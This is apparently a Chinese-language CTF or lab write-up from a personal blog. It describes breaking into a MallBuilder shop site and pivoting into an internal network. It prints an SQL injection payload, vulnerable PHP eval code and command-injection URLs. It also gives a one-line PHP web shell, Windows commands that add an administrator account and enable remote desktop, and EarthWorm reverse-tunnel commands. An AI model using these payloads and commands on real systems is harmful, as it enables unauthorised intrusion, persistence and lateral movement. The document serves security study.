Ywc's blog

从后台getshell到内网漫游

Word count: 1.1kReading time: 4 min
2020/02/18

文章首发于先知社区:https://xz.aliyun.com/t/7193#reply-13802

前言

该靶场是多层网络下的综合渗透,只开放了一个web端可以访问,其他均处于内网。

开始渗透

首先进入靶场开放的唯一一个开放的web端。

进入网站首页,发现是Mallbuilder,并且该版本有注入漏洞,可以直接获取管理员密码。

payload:

1
/cate_show_ajax.php?oper=ajax&call=get_cate POST catid=12313213131313113) and EXP(~(SELECT*FROM(SElect user FROM mallbuilder_admin)a limit 0,1 ))#

1.png

2.png

md5解密后得知admin 密码为:mall123!@#

3.png

可以通过sql注入获取第一个flag
payload:

1
/cate_show_ajax.php?oper=ajax&call=get_cate

post提交:
catid=12313213131313113) and EXP(~(SELECT*FROM(SElect flag FROM flag)a))#

4.png

得到第一个flag

登录管理账号admin 密码为 mall123!@# ,进入后台

查看源代码,发现第二个flag

5.png

网上没有公开的后台 getshell 的漏洞,需要下载一份源码进行简单的审计
源码地址:https://github.com/source-trace/mallbuilder
admin\module_translations.php 存在命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
<?php
include_once("../includes/global.php");
$script_tmp = explode('/', $_SERVER['SCRIPT_NAME']);
$sctiptName = array_pop($script_tmp);
include_once("auth.php");

if(empty($_POST))
{
$refer_lang = $_GET['code'] =='en'?'cn':'en'; //基本参照语言
$l = $rl = array();echo "start";
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$_GET['code'].'.php');

@eval('$l =$_LANG_MOD_'.strtoupper($_GET['mod']).';');
@include_once($config['webroot'].'/module/'.$_GET['mod'].'/lang/'.$refer_lang.'.php');
@eval('$rl =$_LANG_MOD_'.strtoupper($_GET['mod']).';');

$diff_lang = @array_diff_key($rl,$l);
$l += $diff_lang;
if($l=='')
die($lang['translat_data_emp']);
}else{
if($config['enable_tranl']==0)
{
die($lang['tranl_fordid']);
}
include_once("../includes/lang_class.php");
$tr_lang = new lang();
foreach($tr_lang->module_files() as $key=>$mod)
{
if(isset($_POST[strtolower($mod)]))
{
$tr_lang->save_module_files( $_POST[strtolower($mod)],$key,$_GET['code'] );
echo "<script>parent.window.succ_trans_tip('$key');</script>";
break;
}
}
die();
}
?>

6.png

mod 参数被带入 eval 执行,但是中间经过了 strtoupper 函数,这个在后期写马的时候需要注意

1
/admin/module_translations.php?mod=;system('whoami')

233.png

1
/admin/module_translations.php?mod=;system('dir')

发现flag.php

8.png

直接 type 读取

payload:

1
/admin/module_translations.php?mod=;system('type flag.php')

得到第三个flag

9.png

由于有cookie不能直接连接,所以先写一个马出来,需要注意strtoupper函数
经过测试,发现上传一句话木马只能用数字命名,如下例的1.php

1
/admin/module_translations.php?mod=;file_put_contents('1.php','<?php @eval($_POST[1]);?>')

使用菜刀连接(2333当时还是用的菜刀)

在C盘根目录下发现flag.txt,但是没有权限读取

11.png

打开Cknife的模拟终端,执行命令

net user simple 111Qqq... /add 添加一个叫做 simple的用户
net localgroup administrators simple /add 将 simple 添加到管理员组中
reg add "hklm\system\currentcontrolset\control\terminal server" /f /v fDenyTSConnections /t REG_DWORD /d 0 开启远程桌面
netstat -an 查看开放端口

12.png

发现3389端口开放成功,使用windows下自带的工具mstsc.exe进行远程桌面连接

使用创建的simple账户登录进入后找到在C盘根目录下的flag.txt 修改文件权限,即可读到第四个flag

13.png

在管理员桌面发现第五个flag

14.png

进入内网

除了一个开发web端可以直接访问,其他都是内网环境,需要做端口转发,这里用EarthWorm配合proxifier进行端口转发和全局代理设置。目的是可以通过本机访问内网环境。

EarthWorm官网包含使用教程:https://rootkiter.com/EarthWorm/

在端口转发之前首先在本地开启接收转发,使用Earthworm
命令: ew_for_Win.exe -s rcsocks -l 1080 -e 8888
显示start listen port here即可

16.png

使用菜刀将端口转发工具:Earthworm 上传到网站目录下,进入模拟终端,使用工具进行端口转发。
在模拟终端执行命令:ew_for_Win.exe -s rssocks -d 10.10.80.27 -e 8888

17.png

18.png

使用proxifier配置服务器代理,配置代理规则即可实现本机访问内网ip

后记

EarthWarm官网已停止更新并且停止下载,这里给大家分享:EarthWarm

另外内网穿透推荐使用nps,nps是一款轻量级、高性能、功能强大的内网穿透代理服务器。支持tcp、udp、socks5、http等几乎所有流量转发,可用来访问内网网站、本地支付接口调试、ssh访问、远程桌面,内网dns解析、内网socks5代理等等……,并带有功能强大的web管理端。
地址:https://github.com/ehang-io/nps

CATALOG
  1. 1. 前言
  2. 2. 开始渗透
  3. 3. 进入内网
  4. 4. 后记